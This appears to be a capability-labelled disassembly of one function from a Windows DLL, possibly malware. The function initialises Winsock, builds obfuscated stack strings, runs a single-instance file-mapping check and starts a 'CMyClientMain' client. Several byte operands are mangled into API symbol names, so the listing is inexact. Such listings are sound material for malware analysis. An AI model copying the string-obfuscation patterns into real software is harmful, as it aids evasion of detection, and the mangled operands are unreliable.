Function at 0x180011ecc
Capabilities:
Contain obfuscated stackstrings
Initialize winsock library

Disassembly:
mov r11, rsp
push rsi
sub rsp, 0x450
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov rax, qword [0x18002b028]
xor rax, rsp
mov qword [rsp + 0x440], rax
xor ebx, ebx
mov word [rsp + 0x170], bx
xor edx, edx
mov r8d, 0x196
lea rcx, [r11 - 0x2e6]
call fcn.180015e20
mov ecx, 0x202
lea rdx, [rsp + 0x170]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov byte [rsp + 0x328], gethostname
mov byte [rsp + 0x329], 0x66
mov byte [rsp + 0x32a], gethostname
mov byte [rsp + 0x32b], 0x62
mov byte [rsp + 0x32c], gethostname
mov byte [rsp + 0x32d], 0x61
mov byte [rsp + gethostnamee], 0x32
mov byte [rsp + 0x32f], reloc.WS2_32.dll_gethostbyname
mov byte [rsp + 0x330], reloc.WS2_32.dll_gethostbyname
mov byte [rsp + 0x331], gethostbyname
mov byte [rsp + 0x332], 0x65
mov byte [rsp + 0x333], gethostname
mov byte [rsp + 0x334], 0x63
mov byte [rsp + 0x335], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x336], 0x65
mov byte [rsp + 0x337], gethostname
mov byte [rsp + 0x338], 0x62
mov byte [rsp + 0x339], gethostname
mov byte [rsp + 0x33a], bl
lea r8, [rsp + 0x328]
xor edx, edx
lea ecx, [rbx + 4]
call qword [sym.imp.KERNEL32.dll_OpenFileMappingA]
cmp rax, rbx
je 0x180011fe4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800120af
mov byte [rsp + 0x310], gethostname
mov byte [rsp + 0x311], 0x66
mov byte [rsp + 0x312], gethostname
mov byte [rsp + 0x313], 0x62
mov byte [rsp + 0x314], gethostname
mov byte [rsp + 0x315], 0x61
mov byte [rsp + 0x316], gethostname
mov byte [rsp + 0x317], reloc.WS2_32.dll_gethostbyname
mov byte [rsp + 0x318], reloc.WS2_32.dll_gethostbyname
mov byte [rsp + 0x319], gethostbyname
mov byte [rsp + 0x31a], 0x65
mov byte [rsp + 0x31b], gethostname
mov byte [rsp + 0x31c], 0x63
mov byte [rsp + 0x31d], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x31e], 0x65
mov byte [rsp + 0x31f], gethostname
mov byte [rsp + 0x320], 0x62
mov byte [rsp + 0x321], gethostname
mov byte [rsp + 0x322], bl
lea rax, [rsp + 0x310]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x1000
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 4]
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov qword [0x18002fe68], rax
cmp rax, rbx
jne 0x1800120b6
xor eax, eax
jmp 0x1800121d2
lea rcx, [rsp + 0x40]
call fcn.1800084e8
lea rsi, vtable.CMyClientMain.0
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x160], ebx
mov byte [rsp + 0x340], bl
xor edx, edx
mov r8d, 0xff
lea rcx, [rsp + 0x341]
call fcn.180015e20
mov r11d, dword [0x180030698]
mov dword [rsp + 0x20], r11d
mov r9, qword [0x180030690]
lea r8, [rsp + 0x340]
mov edx, 0x281f
lea rcx, [0x180030060]
call fcn.18000af10
mov edx, 1
mov r8d, 0x2000000
lea rcx, [rsp + 0x340]
call qword [0x180030330]
cmp rax, rbx
je 0x180012142
mov rcx, rax
call qword [0x180030338]
mov eax, dword [0x180030698]
mov dword [rsp + 0x20], eax
mov r9, qword [0x180030690]
lea r8, [rsp + 0x340]
mov edx, 0x2810
lea rcx, [0x180030060]
call fcn.18000af10
mov edx, 1
mov r9d, 0x2000000
mov r8d, edx
lea rcx, [rsp + 0x340]
call qword [0x1800302f0]
cmp rax, rbx
je 0x180012196
mov rcx, rax
call qword [0x1800302e8]
call fcn.180012340
lea rcx, [rsp + 0x40]
call fcn.1800067bc
mov rcx, qword [0x18002fe68]
cmp rcx, rbx
je 0x1800121be
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x18002fe68], rbx
mov qword [rsp + 0x40], rsi
lea rcx, [rsp + 0x40]
call fcn.180008558
mov eax, 1
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.180012970
mov rbx, qword [rsp + 0x460]
add rsp, 0x450
pop rsi
ret